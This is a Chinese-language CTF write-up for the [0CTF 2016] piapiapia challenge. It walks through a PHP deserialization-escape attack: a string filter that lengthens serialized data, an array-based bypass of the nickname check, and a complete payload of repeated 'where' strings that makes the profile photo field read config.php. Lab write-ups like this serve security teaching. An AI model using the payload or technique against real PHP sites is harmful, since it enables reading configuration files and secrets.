反序列化逃逸
前言
- 环境:buuctf中[0CTF 2016]piapiapia
- 知识点:反序列化逃逸,php代码审计
做题
进去题目一个登录界面,也没sql注入漏洞,用dirsearch扫一下,扫出源码
index.php用来登录
register.php用来注册
update.php用来更新资料
profile.php用来显示资料
config.php配置文件,注意到有个flag在里面,看来是要读取config.php
class.php定义了类,是主要的代码实现部分
这时我们用seay审计系统自动扫描下
发现有个file_get_contents函数,追踪$profile['photo']
可以看到,这是由$profile
反序列而来,而$profile
由show_profile这个函数返回的值得来
而show_profile这个函数又会调用select这个函数
select这个函数会从数据库中取出序列化的profile
显然我们是要利用数据库,来读取config.php了
这时候审计update.php,这里有个序列化函数,看来利用点就是这里,把$profile
数组进行序列化,存储在数据中,然后再profile.php反序列化显示出来
跟进update_profile函数
将序列化后的字符串会被filter函数处理
跟进filter函数
implode函数表示以|
连接数组以字符串的形式返回,这里相当于正则,将''
和 替换成
_
,将select,insert,update,delete,where
替换成hacker
反序列化逃逸
当对序列化后的字符串进行过滤时,如果把要过滤的字符串替换成字符更多的字符串时,就会造成反序列化逃逸
这里将where
替换成hacker
时,字符变成了,显然存在反序列化逃逸漏洞
要利用反序列化漏洞,我们构造的字符肯定也不止一两个,所以要绕过update中的格式限制
if(!preg_match('/^d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
三个正则里面,前面两个正则都是字符串的头和尾都严格的限制了,并且形式都是只要没有匹配到就die,而nickname这里则是匹配到了就报错,显得不同,而在preg_match里匹配数组返回的是false,strlen一个数组返回的则是null
那么这里我们传入的nickname如果是个数组就可以进行绕过
我们先本地测试正常的序列化该是怎样的
<?php
$profile['phone']='13538732675';
$profile['email']='2592110166@qq.com';
$a=array('NineOne');
$profile['nickname']=$a;
$profile['photo']='upload/test.png';
var_dump(serialize($profile));
?>
a:4:{s:5:"phone";s:11:"13538732675";s:5:"email";s:17:"2592110166@qq.com";s:8:"nickname";a:1:{i:0;s:7:"NineOne";}s:5:"photo";s:15:"upload/test.png";}
我们要造成反序列化使";}s:5:"photo";s:10:"config.php";}
这里有34个字符
假设我们输入where 有x个,则5*x+34=6*x
解得x=34
那么就要构造34个where,payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
然后再访问profile.php,f12里的base64解码就是config.php得源码,得到flag